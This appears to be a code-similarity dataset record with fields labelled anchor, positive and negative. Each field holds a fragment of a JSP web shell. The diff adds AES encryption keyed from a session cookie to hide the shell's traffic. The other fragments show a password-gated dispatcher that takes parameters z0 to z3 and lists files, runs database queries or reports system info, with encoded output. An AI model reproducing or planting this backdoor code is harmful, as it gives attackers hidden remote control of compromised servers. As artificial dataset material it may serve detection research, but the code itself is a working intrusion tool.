anchor.diff:              sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
               bt = decoder.decodeBuffer(str);
               return new String(bt,cs);
  +        }else if(encode.equals("aes") || encode == "aes") {
  +            String str1 = AesDecrypt(AesKey, str);
  +            return str1.trim();
           }
           return str;
  +    }
  +
  +    String AesEncrypt(String key, String cleartext) throws Exception {
  +        IvParameterSpec zeroIv = new IvParameterSpec(key.getBytes());
  +        SecretKeySpec keys = new SecretKeySpec(key.getBytes(), "AES");
  +        Cipher cipher = Cipher.getInstance(new String("AES/"+aes_mode+"/"+aes_padding));
  +        cipher.init(Cipher.ENCRYPT_MODE, keys, zeroIv);  
  +        byte[] encryptedData = cipher.doFinal(cleartext.getBytes("UTF-8"));
  +        sun.misc.BASE64Encoder encoder = new sun.misc.BASE64Encoder();
  +        String sb = encoder.encode(encryptedData);
  +        return sb;
  +    }
  +
  +    String AesDecrypt(String key ,String encrypted) throws Exception {
  +        sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
  +        byte[] byteMi = decoder.decodeBuffer(encrypted);
  +        IvParameterSpec zeroIv = new IvParameterSpec(key.getBytes());
  +        SecretKeySpec keys = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
  +        Cipher cipher = Cipher.getInstance(new String("AES/"+aes_mode+"/"+aes_padding));
  +        cipher.init(Cipher.DECRYPT_MODE, keys, zeroIv);
  +        byte[] decryptedData = cipher.doFinal(byteMi);
  +        return new String(decryptedData, "UTF-8");
  +    }
  +
  +    String getKeyFromCookie(Cookie[] cookies){
  +        String key = "";
  +        StringBuilder result = new StringBuilder();
  +        if( cookies != null ){
  +            for (Cookie c : cookies) {
  +                if (c.getName().equals(SessionKey)) {
  +                    key = c.getValue();
  +                    break;
  +                }
  +            }
  +        }
  +        if(key.length() < aes_keylen){
  +            for(int i=0;key.length() < aes_keylen;i++){
  +                key += aes_key_padding;
  +            }
  +        }if(key.length() > aes_keylen){
  +            key = key.substring(0,aes_keylen);
  +        }
  +        return key;
       }
   
       void CopyInputStream(InputStream is, StringBuffer sb) throws Exception {
  
positive.code:     response.setCharacterEncoding(cs);
      StringBuffer output = new StringBuffer("");
      StringBuffer sb = new StringBuffer("");
      try {
          String funccode = EC(request.getParameter(Pwd) + "");
          String z0 = decode(EC(request.getParameter("z0")+""), encoder);
          String z1 = decode(EC(request.getParameter("z1") + ""), encoder);
          String z2 = decode(EC(request.getParameter("z2") + ""), encoder);
          String z3 = decode(EC(request.getParameter("z3") + ""), encoder);
          String[] pars = { z0, z1, z2, z3};
          output.append("->" + "|");
  
          if (funccode.equals("B")) {
              sb.append(FileTreeCode(pars[1]));
  
negative.code:             sb.append(query(pars[0], pars[1], pars[2]));
          } else if (funccode.equals("A")) {
              sb.append(SysInfoCode(request));
          }else{
              sb.append(Version);
          }
      } catch (Exception e) {
          sb.append("ERROR" + ":// " + e.toString());
      }
      output.append(asenc(sb.toString(), decoder));
      output.append(decode(RetE, "base64"));
      out.print(output.toString());
  %>